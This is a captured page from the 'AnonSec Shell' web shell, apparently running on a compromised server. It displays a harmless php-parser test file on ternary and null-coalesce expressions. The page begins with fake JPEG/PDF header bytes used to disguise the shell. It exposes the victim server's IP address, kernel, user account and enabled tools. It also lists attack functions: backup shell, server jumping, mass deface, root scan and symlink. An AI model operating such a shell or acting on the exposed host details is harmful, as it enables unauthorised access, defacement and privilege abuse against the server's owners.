ÿØÿà JFIF ÿþ; %PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY AnonSec Shell
AnonSec Shell
Server IP : 157.90.209.209  /  Your IP : 216.73.216.129   [ Reverse IP ]
Web Server : Apache
System : Linux hcomm124.dns-wk.info 4.18.0-553.64.1.el8_10.x86_64 #1 SMP Mon Jul 28 12:01:56 EDT 2025 x86_64
User : evidenciarevista ( 1049)
PHP Version : 7.2.34
Disable Function : exec,passthru,shell_exec,system
Domains : 216 Domains
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/evidenciarevista/admin/vendor/nikic/php-parser/test/code/parser/expr/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /home/evidenciarevista/admin/vendor/nikic/php-parser/test/code/parser/expr/ternaryAndCoalesce.test
Ternary operator
-----
<?php

// ternary
$a ? $b : $c;
$a ?: $c;

// precedence
$a ? $b : $c ? $d : $e;
$a ? $b : ($c ? $d : $e);

// null coalesce
$a ?? $b;
$a ?? $b ?? $c;
$a ?? $b ? $c : $d;
$a && $b ?? $c;
-----
array(
    0: Expr_Ternary(
        cond: Expr_Variable(
            name: a
            comments: array(
                0: // ternary
            )
        )
        if: Expr_Variable(
            name: b
        )
        else: Expr_Variable(
            name: c
        )
        comments: array(
            0: // ternary
        )
    )
    1: Expr_Ternary(
        cond: Expr_Variable(
            name: a
        )
        if: null
        else: Expr_Variable(
            name: c
        )
    )
    2: Expr_Ternary(
        cond: Expr_Ternary(
            cond: Expr_Variable(
                name: a
                comments: array(
                    0: // precedence
                )
            )
            if: Expr_Variable(
                name: b
            )
            else: Expr_Variable(
                name: c
            )
            comments: array(
                0: // precedence
            )
        )
        if: Expr_Variable(
            name: d
        )
        else: Expr_Variable(
            name: e
        )
        comments: array(
            0: // precedence
        )
    )
    3: Expr_Ternary(
        cond: Expr_Variable(
            name: a
        )
        if: Expr_Variable(
            name: b
        )
        else: Expr_Ternary(
            cond: Expr_Variable(
                name: c
            )
            if: Expr_Variable(
                name: d
            )
            else: Expr_Variable(
                name: e
            )
        )
    )
    4: Expr_BinaryOp_Coalesce(
        left: Expr_Variable(
            name: a
            comments: array(
                0: // null coalesce
            )
        )
        right: Expr_Variable(
            name: b
        )
        comments: array(
            0: // null coalesce
        )
    )
    5: Expr_BinaryOp_Coalesce(
        left: Expr_Variable(
            name: a
        )
        right: Expr_BinaryOp_Coalesce(
            left: Expr_Variable(
                name: b
            )
            right: Expr_Variable(
                name: c
            )
        )
    )
    6: Expr_Ternary(
        cond: Expr_BinaryOp_Coalesce(
            left: Expr_Variable(
                name: a
            )
            right: Expr_Variable(
                name: b
            )
        )
        if: Expr_Variable(
            name: c
        )
        else: Expr_Variable(
            name: d
        )
    )
    7: Expr_BinaryOp_Coalesce(
        left: Expr_BinaryOp_BooleanAnd(
            left: Expr_Variable(
                name: a
            )
            right: Expr_Variable(
                name: b
            )
        )
        right: Expr_Variable(
            name: c
        )
    )
)

Anon7 - 2022
AnonSec Team